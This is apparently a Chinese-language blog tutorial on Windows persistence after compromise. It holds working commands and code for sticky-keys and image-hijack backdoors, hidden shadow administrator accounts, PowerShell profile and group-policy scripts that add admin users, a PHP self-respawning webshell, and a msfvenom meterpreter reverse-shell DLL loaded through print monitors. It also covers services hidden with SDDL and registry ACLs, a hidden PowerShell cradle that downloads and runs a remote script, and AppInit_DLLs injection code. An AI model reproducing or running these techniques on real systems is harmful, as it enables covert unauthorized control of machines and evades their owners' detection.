windows权限维持

PHP不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>

映像劫持

windows系统运行每个程序时,都会在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中查找相应的程序,如果存在,那么就会进一步查找是否存在Debugger值,并会在程序运行时优先运行Debugger项所指定的程序。

注册表

1
2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options

新建项,命名与后续要触发的可执行文件程序文件名一致,我这里是manyanj.exe

新建一个Debugger,在输入值的栏目中填入你的后门绝对路径

image-20251003204417862

点击manyanj.exe就会运行指定文件

策略组脚本维持

输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机

image-20251003204724212

组策略 (Group Policy) 里“计算机启动脚本” 的存放位置

1
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

在里面写入脚本1.bat

1
net user dis 123456 /add & net localgroup administrators dis /add

添加脚本

image-20251003205210022

重启后会自动执行

shift后门

更改sethc.exe拥有者 为administrator

image-20251003210443762

接着 cmd改名替换 sethc.exe

1
2
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

image-20251003210455028

连续按5次shift就会触发更改的文件

影子账号

在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的。

通过管理用户可查到用户

image-20251003211148327

打开注册表

HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

查看administrator对应的键值为1f4和隐藏账户xiaowu$的键值为3eb
然后在Users中找到对应数字的F值,将3eb的F值替换为1f4的F值

将00003eb和xiaowu$按顺序导出为1.reg和2.reg

然后命令行中删除隐藏用户

1
net user xiaowu$ /del

按顺序点击刚才导出的reg文件,重新导入
重新添加到管理员组

1
net localgroup administrators xiaowu$ /add

此时命令行和本地用户组都查不到xiaowu$这个账户,只有注册表可以看到,我们就可以用这个影子账户进行远程登录

image-20251003212101396

powershell配置文件后门

Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。

依次输入以下命令,查看当前是否存在配置文件。

1
2
3
4
echo $profile
//显示 $profile 变量的内容(也就是当前 PowerShell 会话所使用的用户配置文件的完整路径)
Test-path $profile
//检查上面那个文件路径是否存在。返回 True(存在)或 False(不存在)

image-20251003212322190

如果返回false则需要创建一个

1
New-Item -Path $profile -Type FileForce

image-20251003212536174

然后写入命令,这里以创建一个用户为目标,也可以写成反弹shell

1.bat

1
net user dis 123456 /add & net localgroup administrators dis /add

这里的C:\1.bat是后门文件位置,实战情况下,各位需要按照实际文件路径来修改

1
2
3
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

image-20251003213025487

每次启动powershell都会执行命令创建用户

image-20251003213114388

Monitor 权限维持

项目地址 https://github.com/Al1ex/Monitor

下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}

pName //监视器名称

pEnvironment //环境架构

pDLLName //监视器DLL文件的名称

使用

msf生成payload

1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444
-f dll > shell.dll

将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的 PDLLName,你也可以自己修改为自己喜欢的,总之随意)

1
copy C:\temp\shell.dll C:\Windows\System32\test.dll

之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32 目录下):

image-20251003213437951

之后成功接收到Meterpreter会话

image-20251003213451907

持久化实现

为了实现持久性,我们需要在”Monitors”注册表位置下设置一个key:

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表 验证密钥是否已创建:

1
2
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v
"Driver" /d "test.dll" /t REG_SZ

image-20251003213603200

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32 中的所有驱动程序DLL文件

安全描述符隐藏服务后门

原理:

使用sc或powershell来出创建自启动服务,再通过修改SDDL(安全描述符)隐藏服务,
最后利用powershell脚本来修改注册表项的访问权限,从而实现真正的隐藏。

通过注册服务创建后门

cmd创建自启动服务

1
2
sc create "自定义服务名" binpath= "cmd.exe /k
后门位置" depend= Tcpip obj= Localsystem start= auto

powershell创建自启动服务

1
2
3
new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking
3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe" –
StartupType AutomaticDelayedStart

但创建的服务很容易被发现 通过 sc query 和 Get-Service 很容易发现,直接查询服务也能看见

image-20251004195154947

通过修改SDDL(安全描述符)隐藏服务

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。

安全描述符可以包含以下安全信息:

  • 对象的所有者和主要组的 Sid(安全标识符)
  • 用于指定允许或拒绝特定用户或组的访问权限的 DACL
  • 指定为对象生成审核记录的访问尝试类型的 SACL
  • 一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其 SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

1
sc sdset ".NET CLR Networking 3.6.6.6" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

在知道服务名的前提下查询会显示拒绝访问

但这样做有一个问题:在注册表中很容易看到异常value

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5.0.0

image-20251004195714138

修改注册表ACL

可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}

远程加载powershell脚本:

1
2
3
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object
net.webclient).downloadstring('http://192.168.1.12/1.ps1'));Server-Sddl-Change -
Name '.NET CLR Networking 3.6.6.6'"

image-20251004200707662

windows隐藏技术

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和 隐藏文件属性。

1
Attrib +s +a +h +r 1.php

显示隐藏

image-20251004201229496

驱动级文件隐藏

驱动隐藏最典型的现象就是系统盘中存在以下文件:

1
2
3
4
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

隐藏驱动软件

http://www.xoslab.com/efl.html

T1546.010

Windows 操作系统中有一个注册表项叫 AppInit_DLLs

利用

攻击者修改注册表,将 LoadAppInit_DLLs 的值设置为 1

AppInit_DLLs 中填入恶意 DLL(动态链接库)的路径。

效果

当计算机重启后,任何加载 user32.dll 的进程(几乎所有有图形界面的程序都会加载它),都会强制加载攻击者指定的这个恶意 DLL。

DLL代码编写条件

  • 代码需要做一个“判断”。虽然 DLL 被注入到了所有进程,但它只在检测到自己处于特定进程(如 ctfmon.exe)时才真正执行恶意操作,在其他进程中则保持静默。

  • 返回稳定的system权限

  • 免杀

  • 受害机会启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "tchar.h"

// 定义目标进程名为 ctfmon.exe
#define DEF_DST_PROC "ctfmon.exe"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
// 定义用于存储路径和进程名的变量
TCHAR szCmd[MAX_PATH] = { 0, };
TCHAR szPath[MAX_PATH] = { 0, };
TCHAR *p = NULL;
STARTUPINFO si = { 0, };
PROCESS_INFORMATION pi = { 0, };

si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 当 DLL 被进程加载时触发

// 获取当前加载了这个 DLL 的进程的文件名/路径
if (!GetModuleFileName(NULL, szPath, MAX_PATH))
break;

// 在路径字符串中查找 "ctfmon.exe" (忽略大小写)
// _tcsstr 是查找子字符串的函数
if ((p = _tcsstr(szPath, DEF_DST_PROC)) != NULL)
{
// 如果找到了 ctfmon.exe,说明当前是在目标进程里
// 这里是 payload 执行区域
MessageBox(NULL, L"P151_Dll_Inject", L"Success", MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2);


// if(!CreateProcess(NULL, ...))
// break;
}
break;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

操作注册表

使用命令行修改注册表容易被杀软拦截

编写了一个 C++ 程序(编译成 .exe)。当这个程序运行时,它直接在内存中调用系统的底层函数去修改注册表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <windows.h>
#include <tchar.h>
#include <stdio.h>

int main()
{
HKEY hKey;
// 硬编码了路径,或者动态获取当前路径
TCHAR szDllPath[MAX_PATH] = _T("C:\\Users\\Public\\Test.dll");

// 开关的值:1 代表启用
DWORD dwData = 1;

// 1. 打开注册表键 (RegOpenKeyEx)
// 目标位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
_T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"),
0,
KEY_SET_VALUE, // 申请“写入/修改”的权限
&hKey) == ERROR_SUCCESS)
{
// 2. 设置 AppInit_DLLs 的值 (RegSetValueEx - 第一次调用)
// 动作:把我们的 DLL 路径填进去
// 这一步相当于把木马放进了“启动列表”
if (RegSetValueEx(hKey,
_T("AppInit_DLLs"),
0,
REG_SZ,
(const BYTE*)szDllPath,
(_tcslen(szDllPath) + 1) * sizeof(TCHAR)) == ERROR_SUCCESS)
{
_tprintf(_T("成功设置 AppInit_DLLs 路径\n"));
}

// 3. 设置 LoadAppInit_DLLs 的值 (RegSetValueEx - 第二次调用)
// 动作:把开关设置为 1
if (RegSetValueEx(hKey,
_T("LoadAppInit_DLLs"),
0,
REG_DWORD,
(const BYTE*)&dwData,
sizeof(dwData)) == ERROR_SUCCESS)
{
_tprintf(_T("成功开启 LoadAppInit_DLLs 开关\n"));
}

// 4. 关闭注册表键
RegCloseKey(hKey);
}
else
{
_tprintf(_T("打开注册表失败,可能需要管理员权限\n"));
}

return 0;
}

武器化

RDI+bdllspawn反射加载

参考链接

映像劫持

https://blog.csdn.net/whl0071/article/details/130427821

https://blog.csdn.net/qq_55202378/article/details/140895624?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-140895624-blog-130427821.235

影子账号

https://blog.csdn.net/baidu_38844729/article/details/115708745

SDDL

https://mp.weixin.qq.com/s/zAQOfdbxtDNLha2fdSjWyw

https://blog.csdn.net/nicai321/article/details/122424652


windows权限维持
http://xiaowu5.cn/2025/12/18/windows权限维持/
作者
5
发布于
2025年12月18日
许可协议
BY XIAOWU